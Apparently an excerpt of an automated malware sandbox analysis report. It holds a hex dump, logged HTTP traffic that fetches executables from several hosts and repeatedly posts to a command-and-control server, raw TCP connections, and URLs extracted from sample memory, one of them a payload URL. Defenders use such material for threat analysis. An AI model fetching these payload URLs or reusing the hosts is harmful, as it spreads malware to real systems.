00 00 00 00 00 00 00 00 00 00 00 00 80 7e 11 00 00 00 00 00 48 00 00 00 02 00 05 00 00 18 02 00 dc 5f 05 00 03 00 00 00 da 07 00 06 dc 77 07 00 eb 89 06 00 c1 7d 11 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 0a 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 0d 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00

Source: global traffic	HTTP traffic detected: GET /attachments/914960103592054858/914961866462232616/Oldening.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nbriredl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gqnrsjcd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 140Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sqdlx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 288Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ggigae.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xbbffefnf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 179Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fhfscvxar.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 298Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/8723_1638191106_2017.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://byrobmm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xerwbpt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 252Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xbopjw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jucecaeyqu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nakeeqwaft.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 295Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pjndoeiyl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 288Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hmyqurtmv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 254Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yxndp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://luuqcbcy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pxptimk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://smfbsrgxse.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nabmhhv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mdyfwsxro.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6096_1638289274_6885.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kpgguo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tevvfr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aryonwruu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 183Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vefoyiify.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 152Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://guokyvqq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 284Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sdcdogt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 318Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vfrmk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tgtmtdosym.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 326Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-7000.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://drrwv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 308Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rbuyqamdy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 267Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://omxkjxm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xigvfc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nwqlosscc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 161Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bkjjovqxmd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/4152_1638095425_4339.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pborgy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hqppgl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 216Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ybcka.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://buintdmfv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://slymqhed.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 285Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oamtqaba.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 273Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xuobblxeto.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 132Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/5311_1638303032_7343.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://clekn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 318Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jhglqm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pnkfchg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://inflqn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 243Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://obtnplqgwg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://buxkshswe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wjpbjeendw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 259Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pmhitsi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jydujxmpvv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 322Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xtfcaknrkq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mtfpb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: host-data-coin-11.com

Source: global traffic	TCP traffic: 192.168.2.4:49808 -> 45.9.20.149:42871
Source: global traffic	TCP traffic: 192.168.2.4:49830 -> 92.255.76.197:38637

Source: 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp	String found in binary or memory: http://95.181.152.139
Source: 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961234629.0000000002950000.00000004.00000001.sdmp	String found in binary or memory: http://95.181.152.139/rrghost.exe
Source: 1EAA.exe, 00000014.00000002.973167714.0000000002C05000.00000004.00000001.sdmp	String found in binary or memory: http://95.181.152.1394hl
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: 1EAA.exe, 00000014.00000002.973486115.0000000002C34000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com
Source: WerFault.exe, 00000013.00000002.891900624.0000000004E80000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.988121944.000000000657B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
